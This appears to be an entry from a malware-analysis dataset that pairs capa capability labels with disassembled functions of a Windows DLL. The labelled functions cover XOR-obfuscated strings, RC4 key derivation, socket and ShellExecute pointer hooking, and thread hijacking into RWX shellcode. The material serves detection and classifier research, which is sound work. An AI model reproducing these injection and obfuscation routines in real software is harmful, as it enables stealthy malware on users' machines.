joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000fe80
Capabilities:
Create thread

Disassembly:
push ecx
push esi
push edi
push 0
push 0
push 0
push 0x1000bb20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.100172a0
call fcn.1007fe90
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call fcn.10080360
push 0x1000f490
push 0x100babbc
call fcn.1007fba0
call fcn.1007fef0
mov edi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push 4
push 0x919fd0
call edi
test eax, eax
jne 0x1000ff02
mov dword [0x100babbc], 0x919fd0
call fcn.1007fe90
call esi
push eax
call fcn.10080360
push 0x1000f490
push 0x100babbc
call fcn.1007f710
call fcn.1007fef0
call fcn.1007fe90
call esi
push eax
call fcn.10080360
push 0x1000f4c0
push 0x100babb8
call fcn.1007fba0
call fcn.1007fef0
mov eax, dword [sym.imp.WS2_32.dll_connect]
push 4
push eax
mov dword [0x100babb8], eax
call edi
test eax, eax
jne 0x1000ff57
call fcn.1007fe90
call esi
push eax
call fcn.10080360
push 0x1000f4c0
push 0x100babb8
call fcn.1007f710
call fcn.1007fef0
call fcn.1007fe90
call esi
push eax
call fcn.10080360
push 0x1000f7c0
push 0x100babb4
call fcn.1007fba0
call fcn.1007fef0
mov eax, dword [sym.imp.WS2_32.dll_WSAConnect]
push 4
push eax
mov dword [0x100babb4], eax
call edi
test eax, eax
jne 0x1000ffac
call fcn.1007fe90
call esi
push eax
call fcn.10080360
push 0x1000f7c0
push 0x100babb4
call fcn.1007f710
call fcn.1007fef0
call fcn.1007fe90
call esi
push eax
call fcn.10080360
push 0x1000faf0
push 0x100babb0
call fcn.1007fba0
call fcn.1007fef0
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
push 4
push eax
mov dword [0x100babb0], eax
call edi
test eax, eax
jne 0x10010001
call fcn.1007fe90
call esi
push eax
call fcn.10080360
push 0x1000faf0
push 0x100babb0
call fcn.1007f710
call fcn.1007fef0
call fcn.1007fe90
call esi
push eax
call fcn.10080360
push 0x1000fcc0
push 0x100babac
call fcn.1007fba0
call fcn.1007fef0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 4
push eax
mov dword [0x100babac], eax
call edi
test eax, eax
jne 0x10010056
call fcn.1007fe90
call esi
push eax
call fcn.10080360
push 0x1000fcc0
push 0x100babac
call fcn.1007f710
call fcn.1007fef0
pop edi
pop esi
pop ecx
ret
Function at 0x10012c40
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1009cb2d
mov eax, dword fs:[0]
push eax
sub esp, 0x14c
mov eax, dword [0x100b7080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
mov dword [ebp - 4], 0
push 2
mov dword [ebp - 0x150], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x150]
push eax
push edi
mov dword [ebp - 0x154], edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10012d85
nop word [eax + eax]
sub esp, 0x18
lea ecx, [ebp - 0x12c]
mov edx, esp
lea esi, [ecx + 1]
xorps xmm0, xmm0
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10012cd2
sub ecx, esi
lea eax, [ebp - 0x12c]
push ecx
push eax
mov ecx, edx
call fcn.10002570
lea ecx, [ebp - 0x28]
call fcn.10012a10
mov edi, dword [ebp - 0x14]
lea ecx, [ebp + 8]
mov esi, dword [ebp - 0x28]
lea eax, [ebp - 0x28]
add esp, 0x18
cmp dword [ebp + 0x1c], 0xf
cmova ecx, dword [ebp + 8]
cmp edi, 0xf
cmova eax, esi
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10012d30
test dl, dl
je 0x10012d2c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10012d30
add eax, 2
add ecx, 2
test dl, dl
jne 0x10012d10
xor eax, eax
jmp 0x10012d35
sbb eax, eax
or eax, 1
test eax, eax
je 0x10012db6
cmp edi, 0xf
jbe 0x10012d69
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x10012d5f
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10012e26
push ecx
push esi
call fcn.100812a6
add esp, 8
mov edi, dword [ebp - 0x154]
lea eax, [ebp - 0x150]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10012cb0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0xf
jbe 0x10012e04
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10012dfa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10012e21
jmp 0x10012dfa
push dword [ebp - 0x154]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x148]
cmp ecx, 0xf
jbe 0x10012d8e
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10012dee
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10012e26
push ecx
push edx
call fcn.100812a6
add esp, 8
jmp 0x10012d8e
push ecx
push edx
call fcn.100812a6
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10081245
mov esp, ebp
pop ebp
ret
call fcn.1008643f
call fcn.1008643f
int3
Function at 0x10012e30
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x100b7080]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x100afcb0]
xor eax, eax
push esi
mov esi, ecx
mov dword [ebp - 0x3c], 0x5f656462
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x38], 0x6a6e7963
mov word [ebp - 0x34], 0x6f
mov cl, byte [ebp - 0x4c]
xor byte [ebp + eax - 0x4b], cl
inc eax
cmp eax, 0x18
jb 0x10012e64
push ebx
mov byte [ebp - 0x30], 0x37
mov al, 0x59
xor al, byte [ebp - 0x30]
mov bl, 0x5b
mov ah, bl
mov byte [ebp - 0x2f], al
mov al, byte [ebp - 0x30]
mov dl, 0x53
mov bh, ah
mov byte [ebp - 0x21], ah
mov dh, dl
mov byte [ebp - 0x26], 0
xor dl, al
mov byte [ebp - 0x33], 0
xor bl, al
mov byte [ebp - 0x2d], dl
xor ah, al
mov byte [ebp - 0x2c], bl
xor dh, al
mov byte [ebp - 0x2b], ah
xor bh, al
mov byte [ebp - 0x29], dh
mov cl, 0x43
mov byte [ebp - 0x28], bh
xor cl, al
mov byte [ebp - 0x26], 0
mov ch, 0x19
mov byte [ebp - 0x2e], cl
xor ch, al
mov al, byte [ebp - 0x21]
xor al, byte [ebp - 0x30]
mov byte [ebp - 0x27], al
lea eax, [ebp - 0x2f]
push eax
mov byte [ebp - 0x2a], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x4b]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
pop ebx
test eax, eax
je 0x10012f07
push 0
push 0x1c
lea ecx, [ebp - 0x20]
push ecx
push 0
push esi
call eax
test eax, eax
jne 0x10012f07
mov eax, dword [ebp - 0x14]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10081245
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.10081245
mov esp, ebp
pop ebp
ret
Function at 0x10012f20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x100b7080]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x100af2e0]
xor eax, eax
push esi
mov esi, ecx
mov dword [ebp - 0x24], 0x142e2f29
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0x21253228
mov word [ebp - 0x1c], 0x24
mov cl, byte [ebp - 0x34]
xor byte [ebp + eax - 0x33], cl
inc eax
cmp eax, 0x18
jb 0x10012f54
push ebx
mov byte [ebp - 0x18], 0x19
mov al, 0x77
xor al, byte [ebp - 0x18]
mov bl, 0x75
mov ah, bl
mov byte [ebp - 0x17], al
mov al, byte [ebp - 0x18]
mov dl, 0x7d
mov bh, ah
mov byte [ebp - 9], ah
mov dh, dl
mov byte [ebp - 0xe], 0
xor dl, al
mov byte [ebp - 0x1b], 0
xor bl, al
mov byte [ebp - 0x15], dl
xor ah, al
mov byte [ebp - 0x14], bl
xor dh, al
mov byte [ebp - 0x13], ah
xor bh, al
mov byte [ebp - 0x11], dh
mov cl, 0x6d
mov byte [ebp - 0x10], bh
xor cl, al
mov byte [ebp - 0xe], 0
mov ch, 0x37
mov byte [ebp - 0x16], cl
xor ch, al
mov al, byte [ebp - 9]
xor al, byte [ebp - 0x18]
mov byte [ebp - 0xf], al
lea eax, [ebp - 0x17]
push eax
mov byte [ebp - 0x12], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x33]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
pop ebx
test eax, eax
jne 0x10012fe3
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10081245
mov esp, ebp
pop ebp
ret
push 0
push 4
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0
push ecx
push 9
push esi
call eax
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 8]
xor ecx, ebp
pop esi
call fcn.10081245
mov esp, ebp
pop ebp
ret

Function at 0x10013280
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, 1
mov dword [0x100b7bac], edx
mov ecx, edx
shr ecx, 0x1e
xor ecx, edx
imul edx, ecx, 0x6c078965
add edx, eax
mov dword [eax*4 + 0x100b7bac], edx
inc eax
cmp eax, 0x270
jb 0x10013291
mov dword [0x100b7ba8], 0x270
pop ebp
ret 8
Function at 0x10013380
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 4], esi
mov eax, dword [esi]
cmp eax, 0x270
jne 0x100133dd
lea edx, [esi + 8]
mov edi, eax
nop dword [eax]
mov ecx, dword [edx]
lea edx, [edx + 4]
xor ecx, dword [edx - 8]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x100133a0
mov eax, dword [esi]
jmp 0x100134bb
cmp eax, 0x4e0
jb 0x100134bb
lea edi, [esi + 0x9c4]
mov esi, 0xe3
push ebx
mov ebx, dword [edi]
lea edx, [edi]
mov eax, ebx
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, ebx
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x634]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x100133f6
mov edi, dword [ebp - 4]
mov esi, 0x18c
add edi, 0xd50
mov ebx, dword [edi]
mov eax, ebx
lea edx, [edi]
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, eax
xor ecx, ebx
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx - 0xd4c]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x10013441
mov esi, dword [ebp - 4]
pop ebx
mov eax, dword [esi + 0x1380]
mov ecx, dword [esi + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
xor eax, eax
mov dword [esi], 0
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
pop edi
xor eax, edx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10014340
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1009cc7d
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x100b7080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
mov dword [ebp - 0x18], esi
cmp dword [0x100bab88], 0
je 0x1001452e
cmp byte [0x100bab9a], 0
je 0x1001452e
mov eax, dword [edi]
cmp dword [eax + 0x18], 0x10
lea ecx, [eax + 4]
mov dword [ebp - 0x14], ecx
jb 0x1001439e
mov ecx, dword [ecx]
mov dword [ebp - 0x14], ecx
movaps xmm0, xmmword [0x100afbf0]
xor ecx, ecx
movups xmmword [ebp - 0x30], xmm0
mov word [ebp - 0x20], 0x7d
mov al, byte [ebp - 0x30]
xor byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 0x10
jb 0x100143b1
sub esp, 0x18
mov byte [ebp - 0x1f], 0
mov edx, esp
mov dword [ebp - 0x38], esp
lea ecx, [ebp - 0x2f]
xorps xmm0, xmm0
lea eax, [ecx + 1]
mov dword [ebp - 0x1c], eax
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100143e7
sub ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x2f]
push ecx
push eax
mov ecx, edx
call fcn.10002570
mov edx, dword [ebp - 0x14]
sub esp, 0x18
mov eax, esp
mov dword [ebp - 4], 0
mov ecx, edx
mov dword [ebp - 0x34], eax
xorps xmm0, xmm0
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x1c], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10014430
sub ecx, dword [ebp - 0x1c]
push ecx
mov ecx, dword [ebp - 0x34]
push edx
call fcn.10002570
mov dword [ebp - 4], 0xffffffff
call fcn.10013500
add esp, 0x30
test al, al
je 0x1001452e
mov ecx, dword [0x100bab88]
mov eax, dword [ecx + 0x5c]
test eax, eax
je 0x1001451e
push edi
push esi
mov ecx, eax
call fcn.1003e100
mov ecx, dword [0x100bab88]
cmp dword [ecx + 0x60], 0
je 0x100144d1
xor dl, dl
xor esi, esi
mov byte [ebp - 0x14], dl
nop dword [eax + eax]
mov eax, dword [ecx + 0x5c]
movq xmm0, qword [eax + esi + 4]
mov eax, dword [eax + esi + 0xc]
movq qword [ebp - 0x2c], xmm0
mov dword [ebp - 0x24], eax
test al, al
je 0x100144c4
push dword [ebp - 0x28]
mov ecx, dword [ecx + 0x60]
push dword [ebp - 0x14]
push edi
push dword [ebp - 0x18]
call fcn.1003f330
mov ecx, dword [0x100bab88]
mov dl, byte [ebp - 0x14]
inc dl
add esi, 0xc
mov byte [ebp - 0x14], dl
cmp dl, 4
jb 0x10014490
cmp dword [ecx + 0x64], 0
je 0x1001451e
mov byte [ebp - 0x14], 0
nop dword [eax + eax]
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0x2c]
mov ecx, dword [ecx + 0x5c]
push esi
push eax
call fcn.1003e660
cmp byte [ebp - 0x24], 0
je 0x1001450c
push dword [ebp - 0x28]
mov ecx, dword [0x100bab88]
push esi
push edi
push dword [ebp - 0x18]
mov ecx, dword [ecx + 0x64]
call fcn.1003faa0
mov al, byte [ebp - 0x14]
mov ecx, dword [0x100bab88]
inc al
mov byte [ebp - 0x14], al
cmp al, 8
jb 0x100144e0
mov ecx, dword [ecx + 0x58]
test ecx, ecx
je 0x1001452e
push edi
push dword [ebp - 0x18]
call fcn.1003d950
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10081245
mov esp, ebp
pop ebp
ret
Function at 0x10014de0
Capabilities:
Encode data using xor
Encrypt data using rc4 via winapi
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
movaps xmm0, xmmword [0x100af120]
xor ecx, ecx
movups xmmword [ebp - 0x34], xmm0
push esi
movaps xmm0, xmmword [0x100af1e0]
movups xmmword [ebp - 0x24], xmm0
push edi
movaps xmm0, xmmword [0x100aec40]
movups xmmword [ebp - 0x14], xmm0
nop dword [eax + eax]
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x2e
jb 0x10014e10
push 0
push 1
lea eax, [ebp - 0x33]
mov byte [ebp - 5], 0
push eax
push 0
push 0x100babf4
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x10014efc
push 0x100babf0
push 0
push 0
push 0x8004
push dword [0x100babf4]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x10014efc
movaps xmm0, xmmword [str.bJ_Y]
xor ecx, ecx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x10], 0xa520403
movaps xmm0, xmmword [0x100af680]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0xc], 0x561022
movaps xmm0, xmmword [0x100af5c0]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 8], 0x43121837
mov word [ebp - 4], 0x1f
nop
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x3c
jb 0x10014ea0
push 1
push 0x3c
lea eax, [ebp - 0x3f]
mov byte [ebp - 3], 0
push eax
push dword [0x100babf0]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x10014efc
push 0x100babec
push 0x800000
push dword [0x100babf0]
push 0x6801
push dword [0x100babf4]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x10014efc
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100babe8], eax
call fcn.1007fe90
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call fcn.10080360
push 0x10014850
push 0x100babf8
call fcn.1007fba0
call fcn.1007fef0
mov edi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push 4
push 0x8f5430
call edi
test eax, eax
jne 0x10014f6c
mov dword [0x100babf8], 0x8f5430
call fcn.1007fe90
call esi
push eax
call fcn.10080360
push 0x10014850
push 0x100babf8
call fcn.1007f710
call fcn.1007fef0
call fcn.1007fe90
call esi
push eax
call fcn.10080360
push 0x10014c30
push 0x100babe4
call fcn.1007fba0
call fcn.1007fef0
push 4
push 0x450890
call edi
test eax, eax
jne 0x10014fc5
mov dword [0x100babe4], 0x450890
call fcn.1007fe90
call esi
push eax
call fcn.10080360
push 0x10014c30
push 0x100babe4
call fcn.1007f710
call fcn.1007fef0
call fcn.1007fe90
call esi
push eax
call fcn.10080360
push 0x10014cd0
push 0x100babe0
call fcn.1007fba0
call fcn.1007fef0
push 4
push 0x4504c0
call edi
test eax, eax
jne 0x1001501e
mov dword [0x100babe0], 0x4504c0
call fcn.1007fe90
call esi
push eax
call fcn.10080360
push 0x10014cd0
push 0x100babe0
call fcn.1007f710
call fcn.1007fef0
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001d330
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1009d0e5
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x100b7080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp byte [0x100bab9a], 0
je 0x1001d43a
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
call esi
sub eax, dword [0x100bac90]
sbb edx, dword [0x100bac94]
jne 0x1001d38b
cmp eax, 0x3e8
jb 0x1001d451
call esi
push ecx
lea ecx, [ebp - 0x2c]
mov dword [0x100bac90], eax
mov dword [0x100bac94], edx
call fcn.1000af40
push 0x1000
call fcn.1000b640
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov esi, edi
mov edx, dword [ebp - 0x1c]
sub esi, edx
mov dword [ebp - 0x2c], vtable.Packet.0
cmp esi, 0x989680
ja 0x1001d409
mov ecx, dword [ebp - 0x20]
inc ecx
cmp esi, ecx
jae 0x1001d3ff
mov eax, dword [ebp - 0x14]
sub eax, edx
cmp ecx, eax
jbe 0x1001d3e8
push ecx
push ecx
lea ecx, [ebp - 0x1c]
call fcn.1000b6f0
jmp 0x1001d3fc
sub ecx, esi
push ecx
push 0
push edi
lea esi, [edi + ecx]
call fcn.100833b0
add esp, 0xc
mov dword [ebp - 0x18], esi
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov byte [edx + eax], 0xa1
inc dword [ebp - 0x20]
push 0xa4
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 1
call fcn.1001f3b0
push ebx
mov ecx, eax
call fcn.1001f1d0
lea ecx, [ebp - 0x2c]
call fcn.1001f550
mov edx, dword [ebp - 0x18]
mov ecx, eax
sub edx, dword [ebp - 0x1c]
call fcn.10018600
push 9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10081245
mov esp, ebp
pop ebp
ret
Function at 0x10022f50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
mov eax, dword [0x100b7080]
xor eax, esp
mov dword [esp + 0x34], eax
movaps xmm0, xmmword [0x100afc40]
push esi
mov esi, ecx
mov dword [esp + 0x14], 0x777b7136
push edi
movups xmmword [esp + 8], xmm0
mov byte [esp + 0x1c], 0
xor ecx, ecx
mov al, byte [esp + 8]
xor byte [esp + ecx + 9], al
inc ecx
cmp ecx, 0x13
jb 0x10022f83
mov edx, dword [0x100b8fa0]
lea ecx, [esp + 9]
mov byte [esp + 0x1c], 0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10022fa3
mov eax, 0x7fffffff
sub ecx, edi
sub eax, edx
cmp eax, ecx
jb 0x10023079
cmp dword [0x100b8fa4], 0xf
mov eax, 0x100b8f90
push ecx
cmova eax, dword [0x100b8f90]
lea ecx, [esp + 0xd]
push ecx
push edx
push eax
push ecx
push dword [esp + 0x34]
lea ecx, [esp + 0x3c]
call fcn.1000ee00
mov eax, dword [esi + 0x1fc]
test eax, eax
je 0x10022ff5
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
cmp dword [esp + 0x38], 0xf
lea eax, [esp + 0x24]
push 0x8010
cmova eax, dword [esp + 0x28]
push 0
push 0
push 1
push eax
push 0
call dword [sym.imp.USER32.dll_LoadImageA]
mov dword [esi + 0x1fc], eax
test eax, eax
je 0x10023036
cmp byte [esi + 0x200], 0
mov dword [esi + 0x14], eax
je 0x10023036
push esi
push 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
mov ecx, dword [esp + 0x38]
cmp ecx, 0xf
jbe 0x10023068
mov edx, dword [esp + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1002305e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002307e
push ecx
push edx
call fcn.100812a6
add esp, 8
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
xor ecx, esp
call fcn.10081245
mov esp, ebp
pop ebp
ret
call fcn.100023b0
call fcn.1008643f
int3
Function at 0x10023090
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x100b7080]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x37
mov dword [ebp - 0x2f8], 0x5b436537
mov dword [ebp - 0x2f4], 0x5356587b
xor eax, eax
mov dword [ebp - 0x2f0], 0x5e454364
mov word [ebp - 0x2ec], 0x5059
mov byte [ebp - 0x2ea], 0
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x100230ea
mov cl, byte [ebp - 0x2f8]
jmp 0x100230d5
push ebx
mov byte [ebp - 0x2e8], 0x18
mov al, 0x76
xor al, byte [ebp - 0x2e8]
mov bl, 0x74
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 0x7c
mov bh, ah
mov byte [ebp - 0x2d9], ah
mov dh, dl
mov byte [ebp - 0x2de], 0
xor dl, al
mov byte [ebp - 0x2ea], 0
xor bl, al
mov byte [ebp - 0x2e5], dl
xor ah, al
mov byte [ebp - 0x2e4], bl
xor dh, al
mov byte [ebp - 0x2e3], ah
xor bh, al
mov byte [ebp - 0x2e1], dh
mov cl, 0x6c
mov byte [ebp - 0x2e0], bh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 0x36
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2e7]
push esi
push eax
mov byte [ebp - 0x2e2], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x2f7]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
je 0x10023262
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10023262
push 0x2c8
lea eax, [ebp - 0x2d4]
push 0
push eax
call fcn.100833b0
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10023262
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x10023262
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10023262
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10001ea0
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x10023262
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10081245
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.10081245
mov esp, ebp
pop ebp
ret